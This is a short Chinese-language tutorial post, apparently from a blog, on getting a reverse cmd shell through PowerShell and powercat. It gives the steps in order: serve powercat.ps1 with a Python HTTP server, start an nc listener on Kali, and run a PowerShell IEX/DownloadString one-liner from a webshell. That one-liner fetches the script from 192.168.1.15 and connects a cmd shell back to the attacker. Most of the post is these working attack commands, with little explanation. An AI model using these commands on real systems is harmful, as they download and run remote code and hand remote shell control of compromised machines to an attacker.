powershell反弹cmd

下载地址 https://github.com/besimorhino/powercat

这个powercat可以放在服务器上供目标机器远程下载执行
首先在当前目录用python开启一个http服务

python3 -m http.server 8080

powershell反弹cmd_第1张图片
在kali上开启监听666端口
powershell反弹cmd_第2张图片

nc -lvvp 666

在webshell上执行命令

powershell IEX (New-Object
System.Net.Webclient).DownloadString(‘http://192.168.1.15:8080/powercat.ps1’);
powercat -c 192.168.1.15 -p 666 -e cmd

返回shell
powershell反弹cmd_第3张图片

你可能感兴趣的:(powercat反弹cmd,php,安全,服务器)